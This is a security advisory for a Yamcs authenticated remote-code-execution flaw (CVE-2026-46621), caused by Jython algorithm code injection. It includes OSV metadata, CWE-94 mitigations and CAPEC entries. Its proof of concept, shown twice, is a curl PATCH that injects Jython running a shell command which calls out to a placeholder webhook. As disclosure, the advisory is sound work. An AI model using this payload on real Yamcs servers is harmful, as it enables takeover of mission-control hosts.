    bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'

    (Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

  2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

  3. The Yamcs server compiles the injected text into an executable script on the fly.

  4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:49:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.\n\n### Details\nThe vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). \n\nBecause Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.\n\n### PoC\n\n**Prerequisites:**\n1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*\n\n**Exploitation Steps:**\n\n1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell).\n\n    ```bash\n    curl -i -X PATCH http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \\\n         -H \u0027Content-Type: application/json\u0027 \\\n         -H \u0027Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e\u0027 \\\n         -d \u0027{\n           \"action\": \"SET\",\n           \"algorithm\": {\n             \"text\": \"import java.lang.Runtime\\njava.lang.Runtime.getRuntime().exec([\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/RCE\\\"])\\nout0.value = 1.0\"\n           }\n         }\u0027\n    ```\n\n    *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`).\n\n3. The Yamcs server compiles the injected text into an executable script on the fly.\n\n4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nIt impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
  "id": "GHSA-2g95-6x5q-xjwj",
  "modified": "2026-05-27T22:49:25Z",
  "published": "2026-05-27T22:49:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection"
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.